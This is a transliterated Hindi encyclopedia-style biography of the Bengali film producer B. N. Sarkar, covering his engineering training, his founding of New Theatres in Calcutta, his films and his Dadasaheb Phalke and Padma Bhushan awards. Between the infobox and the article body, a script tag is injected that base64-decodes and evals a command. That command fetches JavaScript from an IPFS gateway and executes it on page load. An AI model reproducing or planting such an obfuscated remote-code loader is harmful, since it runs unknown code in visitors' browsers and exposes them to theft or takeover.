बी. एन. सरकार
bi. en. sarakar
| |
| poora nam | birendranath sarakar |
| janm | 5 julaee, 1901 |
| janm bhoomi | bangal, azadi poorv |
| mrityu | 28 navanbar, 1980 |
| mrityu sthan | kolakata |
| abhibhavak | en. en. sarakar |
| karm bhoomi | kolakata |
| karm-kshetr | film nirman |
| mukhy filmean | 'vidyapati', 'b di didi', 'president', 'chandidas', 'yahoodi ki l daki', 'mukti' |
| shiksha | 'sivil ianjiniyariang' |
| vidyalay | 'landan yoonivarsiti' |
| puraskar-upadhi | 'dada sahab phalke puraskar' (1970), 'padmabhooshan' (1972) |
| prasiddhi | film nirmata |
| vishesh yogadan | bharatiy sinema ke vikas mean unake jaise mahanh vyakti aur majaboot nianv dalane vale nirmata ka bahut b da yogadan hai. |
| nagarikata | bharatiy |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>birendranath sarakar (aangrezi: Birendranath Sarkar or Birendranath Sircar, janm- 5 julaee, 1901; mrityu- 28 navanbar, 1980) prasiddh bharatiy film nirmata aur 'nyoo thiyetars, kalakatta' ke sansthapak the. tis ke dashak ke prarambhik varshoan mean hi unhoanne 'iantaraneshanal film kraft' nam ki ek prodakshan kampani ki shuruat ki thi. is kampani ke bainar tale bi. en. sarakar ne prarambh mean do mook filmoan ka nirman kiya tha. kala ke kshetr mean bi. en. sarakar ke yogadan ko dekhate hue bharat sarakar dvara unhean san 1972 mean 'padmabhooshan' se sammanit kiya gaya tha. ve doosare vyakti the, jinhean 'dada sahab phalke puraskar' (1970) diya gaya. bharatiy sinema ke vikas mean unake jaise mahanh vyakti aur majaboot nianv dalane vale nirmata ka bahut b da yogadan hai. unake dvara diye ge yogadan ko bharatiy sinema kabhi vismrit nahian kar payega.
janm tatha shiksha
bi. en. sarakar ka janm avibhajit bangal mean sar en. en. sarakar ke ghar 1901 mean hua tha. ye apane pita ke doosare putr the. balak ko nam birendranath sarakar nam diya gaya tha. birendranath ke pita bangal ke edavoket janaral the, aur vayasaray ki kaunsil ke sadasy bhi the. b da hone par birendranath ko 'landan yoonivarsiti' bheja gaya, jisase ve sivil ianjiniyariang ki padhaee kar sakean.[1]
vyavasay
bharat vapas akar unhoanne sivil k aauntrektar ke roop mean apana vyavasay shuroo kiya aur isi silasile mean ek sinema h aaul ki imarat ka muayana karate huye unake aandar sinema ke prati ruchi ka bijaropan hua. is bij ne shighr hi aankurit hokar unhean apana mahanh kary karane ke lie prerit kiya. jab sinema ke prati unaka akarshan paudha banakar lahalahane laga to unhoanne kalakatta mean khud ke ek sinema h aaul ka nirman kiya aur ise nam diya 'chitra'.
film nirman
chitra sinema ko b da saubhagy prapt hua, jab disambar, 1930 mean netaji subhashachandr bos ke hathoan isaka udaghatan hua. jaldi hi bi. en. sarakar ne ek any thiyetar 'nyoo sinema' ka nirman kalakatta mean kiya. par keval do sinemagharoan ke nirman se hi bi. en. sarakar ka sinema ke prati rujhan poornataya santusht nahian hua. ve sinema ke kshetr mean b di bhoomika nibhane ke liye utsuk ho gaye aur isi lagan ne unhean apani khud ki prodakshan kampani shuru karane ke liye prerit kiya. tis ke dashak ke shuruati sal mean hi unhoanne 'iantaraneshanal film krapht' nam se prodakshan kampani shuru ki aur is bainar ke tahat shuru mean unhoanne do mook filmoan ka nirman kiya. ye filmean thian- 'chasar meye' aur 'chor kaanta'. isi varsh unhoanne apane ek mitr ke sath milakar ek any mook film- 'buker bhoja' ka bhi nirman kiya. bharatiy sinema mean bolati filmoan ke agaman ke sath hi 1931 mean unhoanne t aauliganj mean svayan ke stoodiyo ka nirman kiya aur isaka nam 'nyoo thiyetars limited' rakha. is stoodiyo mean unaki pahali bolati film ka nirman baangla bhasha mean kiya gaya tha. is film ka nam tha- 'dene paona'.[1]
baangla, hindi aur tamil filmean
bi. en. sarakar ne apane donoan sinemagharoan ko is vidhi se chalaya ki 'chitra' mean bangali filmean dikhayi jati rahian aur 'nyoo sinema' ko khasataur par hindi ki filmean dikhane ke liye surakshit rakha gaya. bi. en. sarakar shighr hi bangal ke ek pramukh film nirmata ban gaye. takariban pachchis sal tak unhoanne 'nyoo thiyetars' ka chakka anavarat rup se chalaye rakha aur 150 filmoan se zyada filmoan ka nirman kiya. unhoanne hindi aur bangali ke sath-sath tamil filmoan ka bhi nirman kiya. bahut sari filmean unhoanne baangla aur hindi, donoan bhashaoan mean banayi thian. aisi filmoan mean ke. el. sahagal abhinit devadas aur 'strit siangar' pramukh haian. devadas ke bangali sanskaran mean 'devadas' ki pramukh bhoomika film ke nirdeshak pi. si barua ne svayan nibhayi thi aur hindi sanskaran mean yah bhoomika ke. el sahagal ne nibhayi. ke. el. sahagal ne bangali sanskaran mean 'chunnilal' ki bhoomika nibhayi thi. devadas ke bangali sanskaran ne pi.si barua ko sitara bana diya aur isake hindi sanskaran ne ke. el. sahagal ki shoharat ko bulandiyoan par pahuancha diya. devadas mean editiang mean 'jamp kats takanik' ka istemal bhavanaoan ki tivrata badhane ke liye kiya gaya aur is vidhi se prastut kiye gaye film ke drishyoan ne darshakoan par gahara asar chho da.
mukhy filmean
bi. en. sarakar dvara nirmit kuchh filmoan ke nam is prakar haian-
- vidyapati
- b di didi
- president
- chandidas
- yahoodi ki l daki
- mukti
ye bi. en. sarakar ki any prasiddh hindi filmean haian, jo bangali bhasha mean bhi bani thian. san 1955 mean bani 'bakul' sanbhavatah unake dvara nirmit aantim film thi. bi. en. sarakar ke kushal netritv mean 'nyoo thiyetars' ne lagatar kee saloan tak behatarin filmoan ka nirman kiya. unaki filmoan ne ravindranath taigor, bankimachandr chatarji, aur sharatachandr dvara rachit sahity ke filmi sanskaran prastut kiye gaye. bi. en. sarakar ki dekharekh mean jahaan nyoo thiyetars ne achchhe sahity ko apani filmoan ki vishayavastu banaya aur samajik evan manaviy sarokaroan se sarabor filmean banayian, vahian unaki filmoan mean manoranjan tatv hamesha hi prachurata mean upasthit raha. inhian sab ullekhaniy tatvoan ke karan darshakoan ne unaki filmoan ko hathoan-hath liya aur pachchis sal tak unaki filmean saphalata ke jhande ga dati rahian.[1]
nee pratibhaoan ko avasar
bangal ke prasiddh sahityakaroan ki rachanaoan se prerana lene ke sath-sath nyoo thiyetars ne apane samay ke prasiddh lekhakoan ko bhi apane yahaan amantrit kiya, apani filmoan ke liye katha aur patakatha likhane ke liye. aise lekhakoan mean sailajanand mukhopadhyayaka nam pramukh hai, jinhoanne nyoo thiyetars ki kee filmoan mean apani lekhani ka yogadan diya. unake sahayog se bani filmoan mean 'deshar mati', 'jivan paran' aur 'daktar' mukhy haian. nyoo thiyetars ki behad saphal filmoan- 'pratishruti', 'parichay' aur aur 'vapas' ke zariye ek aur lekhak bin aauy chatarji ki lekhakiy pratibha samane ayi. bin aauy chatarji ne keval filmoan ke liye hi likha. nyoo thiyetars ke zariye hi bahut sare kalakaroan ne deshavyapi aur aantarrashtriy pahachan banane ki or shuruati kadam uthane ka avasar, sanrakshan aur margadarshan paya. ke. el. sahagal, pankaj malik, bimal r aauy, pi. si. barua, nitin bos, phani majoomadar, debaki bos, sisir kumar bhadu di, nimo, timir baran, jamuna, aur lila desaee adi bahut sare kalakaroan ne shuruat mean apani pratibha ko nyoo thiyetars ke sanrakshan tale hi sanvara aur nikhara. nyoo thiyetars ne hi bangal mean bolati filmoan ki shuruat ki aur parshvagayan ko filmoan mean sthan diya.
puraskar v samman
bi. en. sarakar film sansar se ju di kee sansthaoan se bhi sambandhit rahe aur film udyog ko badhava dene ka kam jivanaparyant karate rahe. ve bi.em.pi.e. ke adhyaksh rahe aur 'film fedareshan aauf iandiya' ke bhi adhyaksh rahe. ve 'seantar film seansar bord' ke sadasy rahe. bangal sarakar dvara sthapit 'film kansalativ kameti' ka sadasy bhi unhean banaya gaya tha. ve 'neshanal film achiv aauf iandiya' ke sadasy bhi the. 'bal film samiti' ke sansthapak sadasyoan mean se bhi ve ek the. bharatiy sinema mean unake ullekhaniy yogadan ke liye unhean doosare 'dada sahab phalke puraskar' se 1970 mean aur bharat sarakar dvara 1972 mean 'padmabhooshan' pradan kiya.[1]
nidhan
bharatiy sinema ko nee oorja aur majaboot stambh pradan karane vale bi. en. sarakar ka 1980 mean nidhan hua. keval bangal hi nahian, balki sare bharat mean janmi kee pidhiyoan ke darshakoan ko unake dvara sthapit 'nyoo thiyetars' dvara banayi gayi filmoan ne lubhaya, shikshit kiya, aur bhavanaoan se sarabor kiya. duniya ki kee nami film kampaniyoan ke logoan ki bhaanti nyoo thiyetars ka logo, jisamean ek hathi sooand uthaye huye hai, darshakoan ke liye filmoan mean gunavatta ka pratik ban gaya tha. nyoo thiyetars ek sansthan ke rup mean aj bhi yad kiya jata hai. nyoo thiyetars ke dooradarshi sansthapak birendranath sarakar bhi logoan mean bangal mean janm lene vale any nayakoan ki bhaanti hi apani jagah bana gaye.
vishleshan
kala ka kshetr is bat mean ek vishishtata rakhata hai ki vibhinn kshetroan ke vyakti kala ke kshetr mean apana yogadan de sakate haian aur apane sath ve apane kshetr ki visheshajnata sath late hi haian. 'dada saheb phalke puraskar' ke doosare vijeta bi. en. sarakar ka sinema se ju dav bhi kuchh isi tarah se hua tha. ve ek sivil ianjiniyar the, jo filmoan se ju de aur sinema ke prati apane akarshan ko keval ek darshak ki bhaanti simit n rakhakar, unhoanne sinema ke sansar mean apane sapanoan ko poora kiya aur is sapanili yatra par chalate huye yatharth se takarate huye apani dooradarshita, netritv kshamata aur pratibha ke bal par bharatiy sinema ko isaki shaishavastha mean vikas ki rah par majabooti se chalaye rakhane mean sudridh yogadan diya.[1]
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tika tippani aur sandarbh
sanbandhit lekh
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